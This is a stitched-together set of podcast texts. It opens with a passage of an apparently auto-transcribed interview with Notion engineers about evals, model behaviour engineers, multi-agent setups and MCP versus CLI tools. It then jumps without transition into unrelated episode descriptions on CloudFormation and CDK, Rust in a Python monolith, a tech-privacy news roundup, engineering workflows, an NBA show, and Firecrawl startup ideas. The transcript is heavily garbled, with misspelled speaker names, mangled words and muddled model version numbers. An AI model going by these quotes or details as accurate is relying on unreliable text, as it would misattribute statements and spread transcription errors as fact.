bunch of prototypes, it can't just be like a small group of people that then maintain whatever end prototypes. So we have invested a lot of people in an eval and model behavior understanding teams that, we call it agent dev velocity.So your dev velocity building agents can be faster if we invest in that platform. And so we have a whole org dedicated to Asian, um, platform velocity so that you can build your own eval and then maintain it once you ship it. So if a new model release comes out and we, every[00:21:38] swyx: team maintains their own eval,[00:21:40] Sarah Sachs: we maintain the eval framework.Every team owns their own evals and a lot of them we've integrated to Optin, to ci, or we run them nightly and we have a team, uh, a custom agent that triggers to a team to look at the major failures. That's really critical because if we have like all these different surfaces now, a lot of it's on the same agent harness, so it's easier to maintain.It's just packaging of different agent harnesses, but new functionality of the agent. Let's say that like we wanna update like. Uh, you know, they deprecated, sonnet, um, four or whatever it is and we need to auto update. Are[00:22:11] swyx: they already? That's so, okay. Yeah. Actually wasn't that long ago.[00:22:14] Alsesio: Theywere[00:22:14] Alsesio: just 3.5.[00:22:15] Sarah Sachs: 3.537. Just got deprecated.[00:22:18] swyx: 3 7, 5 0.2 or, yeah. No,[00:22:20] Sarah Sachs: it's not. 5.2 is five point. Five point no. Yeah, five four is 40% more expensive than five two. So if they deprecated five two, you would hear they can, you would hear from me about that one. Um, but, uh, another conversation to have.[00:22:35] swyx: I have a cheeky evals question for you.Have you noticed any secret degradation from any of the major model providers?[00:22:40] Sarah Sachs: Secret degradation,[00:22:42] swyx: like. During the War Bay, when it's high traffic, it suddenly gets dumber.[00:22:47] Sarah Sachs: Yeah. I mean, not just between the, I mean, we definitely notice flakiness, we've definitely noticed, particularly for some providers, that things are slower during working hours and[00:22:57] swyx: there's a latency argument.Yes. Not a quality argument.[00:22:59] Sarah Sachs: No. I think the quality difference that's interesting is, um, even though companies that say they're selling the same, a, it's really into like quanti quantization, but like companies that say they're selling the same model through different vendors, whether it be through first party or Bedrock, Azure, et cetera.We do see different qualities sometimes, and that's not necessarily what's advertised.[00:23:21] swyx: Yeah. Kidney went to the point of like, if we, they shipped like this, like eval across all the providers and it was like very obvious we were secret equalizing and it was very,[00:23:28] Sarah Sachs: yeah. But[00:23:29] swyx: that's very embarrassing.[00:23:30] Sarah Sachs: You know, um, we hire Subprocess to figure that out for us.So we just wanna understand where it's regressing or where it's optimized. And sometimes we're okay with regressions that optimize latency if they're the appropriate regressions. Our job is to make sure we have the evals to understand the changes that are important to us. And even like when we're partnering with labs on pre-releasees of models, they'll send us multiple snapshots.And this is less about quantization, but more just regressions. Like they have shipped models that were not the snapshots that we wanted, and they have changed the snapshots that they shipped based on the feedback that we give. Because our feedback tends to be more enterprise work focused and not coding agent focused.And definitely those can be bummers, like, you know, uh, we know that this wasn't the version you wanted, but we'll help you make it work. I mean, we always make it work, but that definitely happens.[00:24:16] Alsesio: Yeah. Do you have, um, failing evals that you're just hoping, oh, that will have success eventually when a good model comes out?[00:24:23] Sarah Sachs: Uh, I mean, yeah. So I think. I mean, I could talk about this for 60 minutes, so I will limit myself. I think it's a real issue when people say evals and it's just like, that's quality, that's like unit, I mean, it's like saying testing. It's not just unit tests, right? So. We have the equivalent of unit test.Regression test. Those live in ci, those have to pass a certain percent, you know, within some stochastic error rate. Then we have, as you're building a product, evals of these aren't passing right now, and this is launch quality. So we have a report card and we need to, on these categories, you know, be it 80 or 90% of all of these user journeys to launch, and then what we have what we call frontier or headroom evals, where we actively wanna be at 30% pass rate.And that's actually been a effort that we took in partnership with philanthropic and OpenAI in the past maybe two or three months, because we actually hit a point where our evals were saturated and we weren't able to really give insightful feedback other than it wasn't worse. And not only is that not helpful for our partners, it's not helpful for us to understand where the stream is going.You know, going back to that analogy. And so we spent a lot of time thinking about. What notions last exam looks like, right? Mm-hmm. Not just humanities, last exam. Ooh, notions last exam. Mm-hmm. And, um, there's a lot of, you know, dreams about what that would look like. I know we've talked a lot about benchmarking, um, swix, but, uh, yeah.Notions last exam is a big thing inside the company and we have people, full-time staff to it exclusively. Mm. We have a data scientist, a model behavior engineer, and an full-time, um, evals engineer just dedicated to the evals that we pass 30% of the time.[00:25:56] swyx: What you're hiring for[00:25:57] Sarah Sachs: MBEs? I am hiring[00:25:58] swyx: What is an MBEA[00:25:59] Sarah Sachs: model?Behavior Engineer Model. Behavior engineers started with a title data specialist before I joined when they were working with Simon on like, uh, Google Sheets and like Simon just needed someone to look through Google Sheets and say, yes, no, this looks bad. This looks good. Right? And so we hired people with kind of diverse linguistics background.We had like a linguistics PhD dropout. Mm-hmm. And a Stanford ate new grad. And they're amazing. And they formed a new function basically. And over time we've built a whole team, um, with a manager who's now kind of reinventing what that role is with coding agents. So they used to be kind of manually inspecting code.Now they're primarily building agents that can write evals for themselves or LLM judges. There's a really funny day I can send you the picture where Simon, about a year and a half ago, was teaching them how to use GitHub. Um, and they're on the whiteboard and it was like, okay, I think it would be so much faster if our data specialists learned how to use GitHub and like learned how to commit these things in Dakota.And, and that was then and now I think, you know, coding has been a lot more accessible. Um, but moving forward it's this mix of like data scientist PM and prompt engineer because there's craft in understanding like even like what models can and can't do things. How do we define like that headroom? How do we define like what a good journey is?Um, is this model better or not? Why is this failing? There's some qualitative work, but then there's also like a lot of instinct and taste to it, and that's not necessarily software engineering. And so we have like very firm conviction and we have had for a number of years now that that is its own career path and we have always welcomed the misfits, so to speak.So we really firmly believe that you don't need an engineering background to be the best at this job. And that's what's quite unique about this particular role.[00:27:37] Simon Last: Yeah, this is something that I've been pretty excited about recently is we made an effort basically to treat the eval system as like an agent harness.So if you think about it, like, you know, you should be able to have an agent end-to-end, download a dataset, run an eval, iterate on a failure, debug, and, and then implement a fix. And ultimately you should be able to, you know, drive the full time process with a human sort of observing the, you know, the outer uh, system.So yeah, we went, went pretty hard on that. And that's, that's worked extremely well so far. It's like basically just to turn it into a coding agent, uh, uh, problem.[00:28:11] swyx: Your coding agent or just whatever[00:28:13] Simon Last: harness No coding agent. Yeah, code, cloud code. It should be totally general. Yeah. I think if it would be a mistake to like, like fix it on any, any particular coding agent.At the end of the day, it's just like CLI tools.[00:28:21] Sarah Sachs: It's like the same way that you would've a coding agent write the unit test. You should have a coding agent write the eval.[00:28:26] swyx: Yeah.[00:28:26] Sarah Sachs: But there's a lot of supervision in that still. We just don't believe that supervision has to come from software engineers because a lot of it is like, um, kind of you XREE and whatever, and these are the people that also triage failures and tell us where we should be investing next.[00:28:40] swyx: Yeah. I'm gonna go ahead and ask a spicy question. Is there a data, there are no software engineers at Notion.[00:28:46] Simon Last: Um,[00:28:46] Sarah Sachs: what does it mean to be a software engineer?[00:28:47] swyx: Exactly.[00:28:48] Simon Last: I mean, I think the way things are going is like we're on some continuum where. If, if you look back three years ago, humans were typing all the code and then we had auto complete, you're typing list of the code.Then we had sort of like filling agents, filling lines, and now we're getting into like agents doing longer range tasks where you can debug and implement a fix and then verify it works and you know, get your, get your PR even like, like Merion deployed. I think we're sort of just moving up the abstraction ladder and then the human role becomes more about observing and maintaining the outer system.There's a string of agents flowing through, like me prs what's going off the rails. Like what do I need to approve? Is there like a learning or memory mechanism that that works? So it's kind of a hard engineering problem. There's a, you know, there's, there's a lot to do there. I think we're just sort of moving up stack[00:29:34] Sarah Sachs: the same transition machine learning engineers have made, right?Like I haven't looked at a PR curve in a while.[00:29:39] swyx: Yeah. You used to do this stuff and now, um, auto research can do it,[00:29:42] Sarah Sachs: right? Like I think it depends on what you define as a software engineer.[00:29:46] swyx: Yes. It's, that's changing for sure.[00:29:49] Sarah Sachs: I think every software engineer in notion this summer went through like this, um, sheer, um, one of our engineering leads of the company called it, like every software engineer is going through the, the, uh, identity crisis that every manager goes through, where all of a sudden they realize their ability to write code is less important than their ability to delegate in context switch.And I think that is a transition out of being a software engineer. But[00:30:12] Simon Last: yeah. Yeah, there's a critical difference to being a manager, which is that like, it is actually very deeply technical. The problem, you know, humans are very like, like, like fuzzy and you can't like treat a team of humans like a, like a rigorous system where like, you know, prs like, like flow through and can be in like a block status and then what happens when they're blocked, right.With a set of agents, you actually can do that. And, and, and I think it's actually, there's a lot of interesting technical rigor that that goes into that it's like it's a technical design problem. Ultimately.[00:30:42] Alsesio: What is the design of the software factory that you're building?[00:30:46] Simon Last: Yeah, I mean, I think we're. Trying a lot of different things.I mean, ultimately you want to design a system that requires as little human intervention as possible, but like still maintaining the in variance that, that you care about. So yeah, we're exploring a lot different ideas there. I mean, I think I could talk about a few things I think are important there.Like, one thing I think is really important is, um, having some kind of like specification layer you can just commit marked on files. Mm-hmm. That works pretty well, but[00:31:15] swyx: it's nice to be notion man. I'm just saying like the spec, like Yeah. The natural home for specs is notion.[00:31:21] Simon Last: Yeah. Right. It can be a database of pages.Yeah. I mean, it needs to be something that is, you know, human readable and I viewable and I think that's pretty key. Another really key component is like the, the self verification loop. Yes. You need really, really good testing layers, basically. And that's a really deep, uh, uh, problem. But by getting that right, you know, and then, and then it's kinda like the workflow of like.What happens when there's a bug? How does it flow into the system? Like, is it like a subagent working on it? How does it make a PR and how does that get reviewed? And me, and then, you know, so there's like the, the flow or process.[00:31:56] swyx: Yeah. Cool. Uh, you know, one thing we did work out before you guys came in was this demo or this[00:32:01] Simon Last: agents[00:32:02] swyx: agent demo.Uh,[00:32:03] Simon Last: so every,[00:32:04] Alsesio: every time we do an episode, we try the product. Right. I don't think there's ever been an episode that I haven't tried. Yeah. Um,[00:32:11] swyx: and we, we try, try is a, a big word. Like since day one lane space has been on Notion, but this is the, this is the net new thing. Yes.[00:32:18] Alsesio: So this is for Nel Labs, which is the space we're in.So next week we're opening applications for tenants. So there's a web form, let me, we got this form done here. Uh, so, uh, before. Uh, the workflow would be I get an email, then I look at the person. It was like, should I spend time talking to this person? Then I respond, they respond back. So I build this. So the name it came up for on its own.Can you maybe h how do, how does it come up with its own name?[00:32:43] Simon Last: Yeah, that's a pretty app name. It's, it, it is just a random, it's a random, a name generator.[00:32:47] Alsesio: Oh, that's funny. It just came,[00:32:49] Simon Last: the fact that it picked that is, is kind of hilarious. I'm pretty sure it's just determined,[00:32:54] Sarah Sachs: resilient collector. I, I think I've never looked at the code for that.I've never second guessed it. I think it's kind of like a madlib situation.[00:33:00] Simon Last: Yeah, I think you're right. Yeah. It's, it's totally a, a deterministic. Oh, I thought it was great. Yes. Although, although when the, if you use the AI to set itself up, it can update its own name, so. Okay. Um,[00:33:11] Sarah Sachs: how did you create it? It, did you just do[00:33:12] Alsesio: classroom?I,[00:33:13] Sarah Sachs: okay.[00:33:13] Alsesio: I did, yeah. I'll say just check my inbox for applications for a coworking space. Keep a people, so it created the database for me. Which I have here. And I guess database is like an notion table because everything is notion. Um, and then whenever um, an email comes in, like here, it just creates a new role for the person.Mm-hmm. And then it uses web search to enrich the mm-hmm. The profile. So it kind of like searches the web and it's like, this is who this person is, this is when they say they wanna move in and kind of updates everything else. This is, I mean, it's not a GI, but to me, I don't wanna do this work. So it feels like, I mean, it took me maybe like 15 minutes to set up the whole thing.Um, and I really like that most of the information should live here. You know, it is not like some other tool asking me[00:34:01] Sarah Sachs: Yeah.[00:34:01] Alsesio: To like, bring my stuff there. It's like I would've probably already created an ocean thing.[00:34:06] Sarah Sachs: Mm-hmm.[00:34:06] Alsesio: So[00:34:07] Sarah Sachs: most of our biggest use cases and gains are from. That extra layer of human involvement in the process to make it so right.And so like one of our biggest use cases is bug triaging. So if someone posts something in Slack, can you just have a custom agent that lives there that has its own routing constitution of what team this belongs to, creates a task in your task database and then posts in that Slack channel, right? Like that's like one of the first things that we built internally, I think.And it's completely changed the way that notion functions as a company. Nothing falls through, well, most things don't fall through the crack. We don't know what we don't know. But it's not replacing people, it's replacing processes.[00:34:44] Alsesio: Yeah.[00:34:44] Sarah Sachs: Right.[00:34:45] Alsesio: And I'm curious how you think about composability of these things.So the other one I was working on is like a. These filler. So whenever somebody signs up as a tenant, kind of he'll sell the lease for them. There should probably some agent that is like office manager agent mm-hmm. That can handle the request, make the lease, and then, uh, give them a ADA access to the office and all of that.How do you think about that feature?[00:35:08] Simon Last: Yeah, so I mean, there's, there's two ways you can compose. One way is by using like the data primitives. So you can, you know, you, you could give, you have one agent, uh, be writing to the database and there's another agent that's walked in the database. So that's, that's one way that they, they can coordinate that's like a little bit more decoupled and mm-hmm.Works really well. Or you, you can couple them. So I, I think it's actually not released yet. Releasing it like next week is, uh, in the settings for an agent, you can give access to invoke any other agent.[00:35:34] swyx: Hmm.[00:35:34] Simon Last: So you can have them just. Just, uh, uh, talk directly. So[00:35:37] swyx: you, was there a limit on like, number of recursions or just,[00:35:40] Simon Last: um, probably,[00:35:42] swyx: you know what I mean?Like, you can just get an infinite loop that way there's[00:35:45] Simon Last: some kind of Yeah,[00:35:46] Sarah Sachs: I think it's, there is actually a number somewhere.[00:35:49] swyx: I believe I'm just, you know, like, you're, you're, someone's gonna screw up. You[00:35:51] Simon Last: should you try to see[00:35:53] swyx: Yeah. I mean, everything's gonna be paperclips.[00:35:55] Simon Last: Oh, yeah. Yeah. But, uh, but, but that's really useful.Yeah. So we, you know, like I just, I, I helped, uh, someone internally the other day, they had, they had built like over 30 custom agents for, uh, for our go to market team doing all kinds of different things. You know, for example, like researching, you know, like, like filling information about, about a customer or like, like triaging customer feedback or like, uh, something like that.Literally over 30 of them. And, and then he, and then he even made like a database of all the agents and then he is like, okay, and, and now I'm getting 70, over 70 notifications per day with just the agents are blocked on various things. Uh, and then I was like, oh, okay, cool. You know, the obvious thing to do there is to make a manager agent,[00:36:32] Sarah Sachs: right?[00:36:33] Simon Last: That's gonna sort of blocks be another abstraction layer in between your, your, uh, uh, 30 agents. Uh, so yeah, we, we send out with like a manager agent and then has access to invoke all the other agents and it's sort of like, like watching and observing them and then it sort of, it just creates a layer of abstraction.So instead of 70 notifications per day, it's like, like five. And then, and then the manager agent can help like, uh, debug and fix any problems with the,[00:36:54] swyx: does this is a concept of like an inbox or something like piece, you're basically saying that they can message each other?[00:37:00] Simon Last: Yeah.[00:37:01] Sarah Sachs: Well[00:37:01] swyx: they use the system of record, which, which is[00:37:02] Sarah Sachs: notion, so we[00:37:03] Simon Last: actually, yeah, we didn't make any special concepts at all.[00:37:06] swyx: They're interested to the motion notifications that I would've got,[00:37:09] Sarah Sachs: they can just like write a task to a database that the other agent's task to listening to, or they can actually call a web book to the agent, like they can just add the agent. Okay.[00:37:17] Simon Last: Yeah, I mean, this is something that, that we're still working on.I, I think we, you know, like, like generally, generally the way we do these things is, you know, you first make it possible, maybe like a sort of janky way. So I, I, I think the way I set ‘em up is like, you know, we created like a new database that was sort of like issues mm-hmm. That the custom agents were, were experiencing, and then gave them all access to file an issue and then the manager has access to, to read the issues.Um, and that works pretty well, essentially like, like give it its own like internal issue tracker just for the agents. And then, you know, if that becomes a, a concept that seems useful, generally maybe we will think of how to package it in. But I mean, generally we try to just keep it to composing the primitive if we can.You know, another example of this is we have no built-in memory concept. Memory is, is just pages and databases. And so if you wanna give a memory, just give it a page and give it. Edit access to that page and the[00:38:03] swyx: human can edit it. Agent can edit[00:38:04] Simon Last: it. Yeah. And so that works, that pattern works extremely well on it.And you know, depending this case, you can have it be just a page or it could be an entire database with, you know, or, you know, I can have sub pages is is pretty on what you can do with that.[00:38:15] Alsesio: So when I was setting this up, uh, I connected my inbox and it was like, do you wanna use Gmail or Notion Mail? And I'm like, I don't wanna use Eater, I just want you to do it.I'm curious how you think about, you know, notion, mail, notion, calendar, all of these kind of ui ux interfaces, full stack[00:38:29] Simon Last: notion.[00:38:30] Alsesio: Yeah. When like at the same time you have the agents abstracting them away from you in a way, you know, how do you spend like the product calories so to speak?[00:38:37] Simon Last: Yeah, I mean, I think it's pretty important that you don't have to use, not your mail to connect to the mail capability.So we can just connect to Gmail or, or whatever you want, uh, to use. And we're thinking of the mail service as being really great to the extent that it's really agent built, right? So maybe the mail app is just sort of a prepackaged agent that helps you automate your, your inbox.[00:39:00] Alsesio: Yeah, the auto labeling is great.Think[00:39:03] Sarah Sachs: the, when we, um, integrate with Gmail for instance, we have a series of tools available that are available via MCP or API to Gmail. When we integrate with Notion Mail, we have the Notion Mail engineering team to build us the, um, exact right tools that optimize latency, optimize performance and quality.They own that quality. Um, there's product leads there. They're directly thinking about the user problems that happen in mail. So it tends to be when we build integrations and connections, we build natively first. Um, and then think about, um, extending them generally just because it's also easier. Mm-hmm. Um, um, to build natively first.Um, so that tends to be how we phase things out.[00:39:43] swyx: Talking about integrations, you prompted me, so I gotta ask. M-C-P-C-L-I. What's going on? What's the[00:39:48] Simon Last: Yeah. Opinion. I think, I mean, I'm, I'm definitely bullish and excited about cli. I think there's a few really cool things about cli. So one really cool thing is like, um, is that it's in the terminal environment, so it gets a bunch of extra power.So it, you know, for example, it can like, like paginating and cursor through like long outputs. Um, and it has a progressive disclosure inherently. Uh, so, you know, you don't see all the tools at once. It's just, you see the CLI wrapper and you can like use the, the help commands and, and, and read files. And then I think the most important thing that's, that's super cool is that there, it's also inherently a, a bootstrapped.So if there's an issue, uh, the agent can debug and fix itself within the same environment that it uses the tool.[00:40:30] swyx: Mm.[00:40:30] Simon Last: Right. Like, you know, I think I saw a tweet this morning. Someone said, you know, my agent didn't have a browser, so I asked it to make all a browser tool and within a hundred lines of code, it gave itself a little browser, like, like wrapping the, the, the chromium API, um.That's pretty incredible. And then if there was a bug, it would just immediately try to fix it. Mm-hmm. Right. On the other hand, if you use an, you know, if you use like of, of the Chrome dev tools, MCP, I've had this issue where like, like sometimes the transport gets like messed up. If it gets messed up, the agent has no way to fix itself.It, it no longer has a browser, it's, it's not broken. Right. I think that's, that's pretty fundamental, but I would say like a lot of the, the bad things about it can be fixed. Uh, so I think like, as a progressive disclosure, that can be fixed with, with right harness. Like, it, it obviously doesn't make sense to show it all the tools all the time.That's not really inherent to the MCP protocol. It's just like how you wrap it and use it.[00:41:16] swyx: There's many poorly built MCPs because we didn't know.[00:41:19] Simon Last: Yeah, yeah. I mean it was just early, like, like the obvious thing is, uh, you know, to start with is, is to just show it all the tools and it's like, okay, now we have a hundred tools.Yeah. And like the tool calling actually works. So let's of[00:41:28] swyx: your success[00:41:29] Simon Last: give it a way to like, like filter to source the tools. So yeah, I would say like broadly speaking, I'm really bullish on cli. I'm still bullish on CPS and in a certain environment. I think in, in particular, CP is really great for when you want sort of like a narrow, lightweight agent.I think there's, there's definitely a lot of use cases where, where you don't want like a full coding agent with a compute run time. And also you want it to be like more tightly permissioned. MCP inherently has a really strong permission model, like all you can do is call the tools. A CLI is a little bit murkier.It's like, can I access the, if PI token are you, like, properly sort of like re-encrypt the token so it can't like exfiltrate it, it introduce a lot of like, like new issues, which are. Real and hard to solve. And MCP is just like the dumb simple thing that works and it that it's pretty good.[00:42:12] Sarah Sachs: I'll add two more perspectives, not from it working well for Notion, but how notion like commits to both platforms.Notion is dedicated to being the best system of record for where people do their enterprise work. So we will always support our MCP and so far as other people are using cps, right? So regardless of our perspective, we've put a lot of effort into our MCP and we have a fantastic team that we're building, um, to do more there.And the second thing I'll say, I think, um, we all think a lot, but lately I've been thinking a lot about making sure there's a value alignment and pricing, um, with capability.[00:42:43] swyx: Literally our next question[00:42:44] Sarah Sachs: and. Needing language to execute deterministic tasks feels wasteful and requiring on a language model to interface with third party providers seems wasteful for tasks that don't require it.And particularly because our custom agents are using usage-based pricing. We think of pricing as like the barrier of entry for use of our product, and we're quite committed to making sure that it's not wasteful. Um, not just because it's a bad deal for our customers, but it's also bad business. We wanna have as many buyers, like there's a, there's an elasticity of demand and so if we can have our agents properly execute code that calls on CLI deterministically, it's a one-time cost, right?Versus constantly having a language model integrate with an MCP over and over and over and paying those like repeated token fees and it's happening outside the cash window, then you're paying for it over and over and over and it's just kind of unnecessary and less deterministic when it doesn't have to be.[00:43:36] Alessio: Yeah, the open-endedness I think is like, the main thing is like, well, if I go write code to just call an API, I would never use an MCP. But then you need an NCP sometimes when you know what to call, but you don't want it to restart versus like, I think the it built a browser from scratch is like, it's great when you're doing it on your own, but like if your customers were having your AI write a browser from scratch every time and you had to pay the token cost of that, yeah.You'd be like, no, no. The Chrome dev tools CP is actually pretty great. Just use that. I'm curious, how do you make that decision? Like should it be. Just straight API call very narrow. Should it be an MCP? Should it be super open-ended?[00:44:10] Sarah Sachs: Do you mean for when we ship notion capabilities or when we add capabilities to[00:44:13] Alessio: notion[00:44:14] Sarah Sachs: AI or,[00:44:14] Alessio: I mean, you might have a capability that the only way to do is an open-ended agent, like an agent with a coding sandbox.[00:44:21] Sarah Sachs: Yeah. In Notion ai they're not explicit, not We also ship an MCP.[00:44:24] Alsesio: Yeah. Yeah. In B,[00:44:25] Sarah Sachs: yeah.[00:44:26] Alsesio: Internally. Okay. Like is there ever a discussion of like, we're not gonna ship it because we're not able to tie it down? Or are you happy to just like,[00:44:33] Sarah Sachs: um, no. I mean, there are a lot of things where we choose not to use MCP because we wanna add more high touch to quality.I think search an agent to find is like the largest instance of that, where we have. Um, slack and linear and Jira search and notion that is not using necessarily the search MCP functionality that is provided by those companies. And that's because it's quite critical we think, to how our agent trajectories work is for us to have a little bit more control on the functionality of the search journey.And so it usually comes from quality and there's a long tail of things and that's why we built an MCP client or an MCP server, excuse me, so that people can connect whatever they want. There's that long tail, right. But we, for search particularly, I would say that's like the primary entry point, but there are other connections as well that it's a little bit of secret sauce a
An airhacks.fm conversation with Thorsten Hoeger (@hoegertn) about: discussion about migrating a German bank to AWS in 2012, early EC2 instances and the launch of AWS VPC for private networking, clicking the AWS console before discovering CloudFormation, CloudFormation released in 2011 with JSON-only templates, Hazelcast cluster synchronization bugs on single-core EC2 instances, multicast limitations in VPC and the transit gateway workaround, CFEngine from 1993 as a predecessor to declarative infrastructure management, Puppet and Chef and Ansible as configuration management tools, CloudFormation's declarative state reconciliation predating kubernetes by three years, CloudFormation's managed state versus Terraform's local state storage, three-way diff comparing new template and old template and physical resource state, drift detection and its limitations with default values, writing 3000 lines of CloudFormation JSON in Eclipse IDE, building a Jenkins plugin for CloudFormation lifecycle management, GitOps with Git servers and Jenkins for CloudFormation deployments, separating infrastructure changes from business logic changes in early setups, treating everything as a change in modern CI/CD pipelines, the origin of CDK at Amazon as an internal tool written in Java then rewritten in typescript, CDK beta participation through the AWS Hero program, CDK constructs and L1 low-level constructs mapping directly to CloudFormation resources, CDK synth phase serializing Java objects to CloudFormation JSON, Stacks as atomic deployment units in CDK, the trade-offs of splitting stateful resources into separate stacks versus single-stack deployments, AWS CloudFormation export and reference coupling between stacks, using AWS Parameter Store for loose coupling between stacks, CDK application as the project root with application code in subfolders, Terraform benefits for multi-provider scenarios like GitHub repos and on-prem routers, regulated industries and compliance benefits of cloud infrastructure as code, change management as a byproduct of Git-based infrastructure pipelines, serverless architecture similarities to application server and WAR deployment models, CDK asset system for versioning and pushing artifacts, CDK custom resource types and self-mutating pipelines as future topics, The CDK Book co-authored by Thorsten Hoeger and colleagues, Taimos GmbH consulting for AWS infrastructure Thorsten Hoeger on twitter: @hoegertn
Rust adoption can be loud, like when companies such as Microsoft, Meta, and Google announce their use of Rust in high-profile projects. But there are countless smaller teams quietly using Rust to solve real-world problems, sometimes even without noticing. This episode tells one such story. Cian and his team at Cloudsmith have been adopting Rust in their Python monolith not because they wanted to rewrite everything in Rust, but because Rust extensions were simply best-in-class for the specific performance problems they were trying to solve in their Django application. As they had these initial successes, they gained more confidence in Rust and started using it in more and more areas of their codebase.About CloudsmithMade with love in Belfast and trusted around the world. Cloudsmith is the fully-managed solution for controlling, securing, and distributing software artifacts. They analyze every package, container, and ML model in an organization's supply chain, allow blocking bad packages before they reach developers, and build an ironclad chain of custody.About Cian ButlerCian is a Service Reliability Engineer located in Dublin, Ireland. He has been working with Rust for 10 years and has a history of helping companies build reliable and efficient software. He has a BA in Computer Programming from Dublin City University.Links From The EpisodeLee Skillen's blog - The blog of Lee Skillen, Cloudsmith's co-founder and CTODjango - Python on RailsDjango Mixins - Great for scaling up, not great for long-term maintenanceSBOM - Software Bill of MaterialsMicroservice vs Monolith - Martin Fowler's canonical explanationJaeger - "Debugger" for microservicesPyO3 - Rust-to-Python and Python-to-Rust FFI crateorjson - Pretty fast JSON handling in Python using Rustdrf-orjson-renderer - Simple orjson wrapper for Django REST FrameworkRust in Python cryptography - Parsing complex data formats is just safer in Rust!jsonschema-py - jsonschema in Python with Rust, mentioned in the PyO3 docsWSGI - Python's standard for HTTP server interfacesuWSGI - A application server providing a WSGI interfacerustimport - Simply import Rust files as modules in Python, great for prototypinggranian - WSGI application server written in Rust with tokio and hyperhyper - HTTP parsing and serialization library for RustHAProxy - Feature rich reverse proxy with good request queue supportnginx - Very common reverse proxy with very nice and readable configlocust - Fantastic load-test tool with configuration in Pythongoose - Locust, but in RustPodman - Daemonless container engineDocker - Container platformbuildx - Docker CLI plugin for extended build capabilities with BuildKitOrbStack - Faster Docker for Desktop alternativeRust in Production: curl with Daniel Stenberg - Talking about hyper's strictness being at odds with curl's permissive designaxum - Ergonomic and modular web framework for Rustrocket - Web framework for RustOfficial LinksCloudsmith WebsiteCian Butler's WebsiteCian's E-Mail
First up, AI. You'd think if you clean your training data, you control what the model learns. Nope. Researchers just showed that models can pass hidden traits to each other through data that looks completely harmless. Like numbers. No obvious bias, no keywords, nothing. And the new model still picks up the same behavior. Even after you scrub it.Think of it like this. The data looks clean, but the intent is still in there, baked into the structure. So now we have AI systems where you can't fully prove what they learned. You can test outputs, sure, but you can't audit the mind. That's a supply chain problem.Next, LinkedIn. You know how you log in and think you're just updating your resume? Turns out they may have been scanning your browser for extensions. Thousands of them. And extensions tell a story. Health apps, finance tools, job search plugins, political stuff. That's basically your personality in JSON form.LinkedIn says it's for security. Maybe. But the bigger lesson is this: your browser is now part of your identity surface. Not just what you do online, but what you've installed.Now let's talk about your fridge. Yes, your fridge. Samsung pushed ads onto $2,000 refrigerators. After people bought them. So now your kitchen appliance is also an ad platform. You didn't opt in, you just got updated.Same play with TVs. Walmart bought Vizio, and now some TVs require a Walmart account to work properly. Why? Because the TV isn't the product. The data is. What you watch plus what you buy equals a very valuable profile.Software side, GitHub is exploding. We're talking billions of commits. AI is helping people write code faster than ever. Sounds great until you realize nobody is reviewing most of it. More code means more bugs, more vulnerabilities, more weird dependencies sneaking in. Speed went up. Assurance did not.Then quantum computing. This one matters. We used to think breaking encryption would take millions of qubits. Now researchers are saying maybe ten thousand. That's a huge shift. Not tomorrow, but not “someday” either.And here's the kicker. If someone is recording encrypted traffic today, they can just sit on it and decrypt it later when the tech catches up. So anything that needs to stay secret for a long time is already at risk.Zooming out, AI investment is basically all happening in the US. Like almost all of it. That means one country is setting the pace, the standards, and the rules. Everyone else is kind of along for the ride. That's not just business, that's geopolitics.And finally, the courts are waking up. For years, platforms said “we don't control the content.” Now judges are saying, “yeah, but you built the machine that decides what people see.” That's a big shift. Algorithms are starting to look like products with liability.So the theme this week is simple. The real risks aren't obvious anymore. They're hidden in training data, in your browser, in your appliances, in algorithms making decisions you don't see.Which means you don't just ask what the system does. You ask what's underneath it.
Your tool set isn't just a collection of utilities — it's the environment you live in every day, and it's shaping you whether you realize it or not. In today's episode, I explore two principles that senior engineers consistently apply to their workflows, regardless of which specific tools they're using. As our industry goes through one of the most rapid periods of change in the last 20 years, the engineers who thrive won't be the ones chasing every new tool — they'll be the ones who obsess over reducing friction in the work they do most often. Honor the Grief: Many engineers are experiencing a real sense of loss as the deep cultural connections to languages, communities, and hand-written code begin to shift. Recognizing and processing that grief — rather than letting it turn into reflexive rejection of new tools — is essential to thinking clearly about what comes next. "We Shape Our Tools, Then Our Tools Shape Us": Your tools aren't neutral. A bad monitor height, a faulty keycap, or a clunky deployment process all shape you back — draining focus, breaking flow, and compounding over time. The most senior engineers treat this relationship as a first-class concern. Principle 1 — Tools Are Your Environment: There's a spectrum from "tool" to "environment," and most of what you work with sits somewhere in between. Your terminal, your desk, your claude.md file — all of these are environment. Sharpening your tools means shaping your environment, and shaping your environment is sharpening your tools. Friction Is the Lever: You don't need a dramatic overhaul to change your behavior. Tiny reductions in friction — a two-letter alias, a key binding to run tests, setting your shoes out the night before — have an outsized effect on how often you actually do the things you want to do. James Clear's Atomic Habits framework applies directly to engineering workflows. Principle 2 — First Order Thinking: Borrowed from Adam Savage's concept of "first order retrievability," the idea is simple: identify what you do most often and invest in making that better. Not faster, not just automated — better. If you do something a hundred times a day, even a small improvement compounds dramatically. Invest in the Fundamentals: Your standups, your one-on-ones, your specifications, your prompting skills — these are the repetitive, high-frequency activities where your biggest growth opportunities live. Stop assuming you've "arrived" on the basics just because nobody is giving you negative feedback. Episode Homework: Look around your workspace right now — physical and digital. Identify one thing you do repeatedly where friction is slowing you down or discouraging follow-through, and make one small change to reduce that friction today.
In the first hour of the show Dave and Json talk Kings and other news around the NBA.
I break down Firecrawl and it solves AI's biggest blind spot, access to clean web data. I walk through the full AI agent stack every builder needs, explain why this is the "AWS moment" for web data, and share a dozen startup ideas you can build this week using Firecrawl for scraping, enrichment, and automation. Whether you want to launch a niche SaaS, a lead gen service, or a data-as-a-service business, this episode gives you the frameworks and the specifics to get started. Shoutout Firecrawl - Turn websites into LLM-ready data: https://startup-ideas-pod.link/firecrawl Timestamps 00:00 – Intro 02:14 – Why this matters now 07:40 – What is Firecrawl 11:20 – How does Firecrawl work 12:57 – The Agent Stack 14:35 – 7 Startup Ideas 24:01 – Firecrawl Hired an AI Agent as an Employee 26:24 – Final Thoughts Key Points AI models are only as good as the data they can access — clean, structured web data is the new critical infrastructure. Firecrawl replaces thousands of lines of custom scraping code with a single API call that returns clean markdown, structured JSON, and screenshots. The biggest opportunity is taking horizontal SaaS categories (SEO tools, job boards, price trackers) and building hyper-niche versions using Firecrawl at a fraction of the cost. I think about the AI agent stack in five layers: agent harness, search layer, web data layer, ops brain, and outbound/audience stack. The real business model is selling the data output, not the tool — you can charge $200 to $5,000 per month per client with margins above 95%. Vertical software always wins because people pay for specificity; Constellation Software built a ~$75 billion company on this 